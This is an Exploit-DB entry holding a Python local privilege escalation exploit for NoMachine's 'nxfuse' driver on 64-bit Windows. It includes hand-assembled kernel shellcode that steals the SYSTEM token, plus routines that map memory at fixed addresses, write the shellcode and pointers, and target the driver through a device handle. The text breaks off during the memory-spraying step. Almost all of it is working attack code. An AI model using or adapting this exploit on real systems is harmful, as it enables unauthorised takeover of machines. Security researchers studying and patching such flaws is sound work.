Exploit-DB #44168
Description: NoMachine < 6.0.80 (x64) - 'nxfuse' Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2018-02-22
Author: Fidus InfoSecurity

Exploit:
from ctypes import *

from ctypes.wintypes import *

import struct

import sys

import os

 

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

GENERIC_READ  = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

STATUS_INVALID_HANDLE = 0xC0000008

 

shellcode_len = 90

s = “”

s += “\x65\x48\x8B\x04\x25\x88\x01\x00”        #mov rax, [gs:0x188]

s += “\x00”

s += “\x48\x8B\x40\x70”                                  #mov rax, [rax + 0x70]

s += “\x48\x8B\x98\x90\x02\x00\x00”                 #mov rbx, [rax + 0x290]   

s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]

s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188

s += “\x48\x39\x98\x80\x01\x00\x00”                 #cmp [rax + 0x180], rbx

s += “\x75\xEA”                                               #jne Loop1

s += “\x48\x89\xC1”                                     #mov rcx, rax

s += “\xBA\x04\x00\x00\x00”                        #mov rdx, 0x4

s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]

s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188

s += “\x48\x39\x90\x80\x01\x00\x00”                 #cmp [rax + 0x180], rdx

s += “\x75\xEA”                                               #jne Loop2

s += “\x48\x8B\x80\x08\x02\x00\x00”                 #mov rax, [rax + 0x208]   

s += “\x48\x89\x81\x08\x02\x00\x00”                 #mov [rcx + 0x208], rax

s += “\x48\x31\xC0”                                     #xor rax,rax

s += “\xc3”                                                  #ret

shellcode = s

 

 

”’

* Convert a python string to PCHAR

@Param string – the string to be converted.

@Return – a PCHAR that can be used by winapi functions.

”’

def str_to_pchar(string):

      pString = c_char_p(string)

 

      return pString

 

”’

* Map memory in userspace using NtAllocateVirtualMemory

@Param address – The address to be mapped, such as 0x41414141.

@Param size – the size of the mapping.

@Return – a tuple containing the base address of the mapping and the size returned.

”’

def map_memory(address, size):

      temp_address = c_void_p(address)

      size = c_uint(size)

 

      proc = windll.kernel32.GetCurrentProcess()

      nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),

                                            byref(temp_address), 0,

                                            byref(size),

                                            MEM_RESERVE|MEM_COMMIT,

                                            PAGE_EXECUTE_READWRITE)

 

      #The mapping failed, let the calling code know

      if nt_status != 0:

            return (-1, c_ulong(nt_status).value)

      else:

            return (temp_address, size)

 

”’

* Write to some mapped memory.

@Param address – The address in memory to write to.

@Param size – The size of the write.

@Param buffer – A python buffer that holds the contents to write.

@Return – the number of bytes written.

”’

def write_memory(address, size, buffer):

      temp_address = c_void_p(address)

      temp_buffer = str_to_pchar(buffer)

      proc = c_void_p(windll.kernel32.GetCurrentProcess())

      bytes_ret = c_ulong()

      size = c_uint(size)

 

      windll.kernel32.WriteProcessMemory(proc,

                                                      temp_address,

                                                      temp_buffer,

                                                      size,

                                                      byref(bytes_ret))

 

      return bytes_ret

 

”’

* Get a handle to a device by its name. The calling code is responsible for

* checking the handle is valid.

@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….

”’

def get_handle(device_name):

      return windll.kernel32.CreateFileA(device_name,

                                GENERIC_READ | GENERIC_WRITE,

                                0,

                                None,

                                OPEN_EXISTING,

                                0,

                                None)

 

def main():

      print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”

 

      print “[+] Mapping the regions of memory we require”

 

      #Try and map the first 3 critical regions, if any of them fail we exit.

      address_1, size_1 = map_memory(0x14c00000, 0x1f0000)

      if address_1 == -1:

            print “[x] Mapping 0x610000 failed with error %x” %size_1

            sys.exit(-1)

 

      address_2, size_2 = map_memory(0x41414141, 0x100000)

      if address_2 == -1:

            print “[x] Mapping 0x41414141 failed with error %x” %size_2

            sys.exit(-1)

 

      address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)

      if address_3 == -1:

          print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3

          sys.exit(-1)

 

      #this will hold our shellcode

      sc_address, sc_size = map_memory(0x42424240, 0x1000)

      if sc_address == -1:

          print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size

          sys.exit(-1)

 

      #Now we write certain values to those mapped memory regions

      print “[+] Writing data to mapped memory…”

      #the first write involves storing a pointer to our shellcode

      #at offset 0xbad0b0b0+0xa8

      buff = “\x40BBB” #0x42424240

      bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)

     

      write_memory(0x42424240, shellcode_len, shellcode)

 

      #the second write involves spraying the first memory address with pointers

      #to our second mapped memory.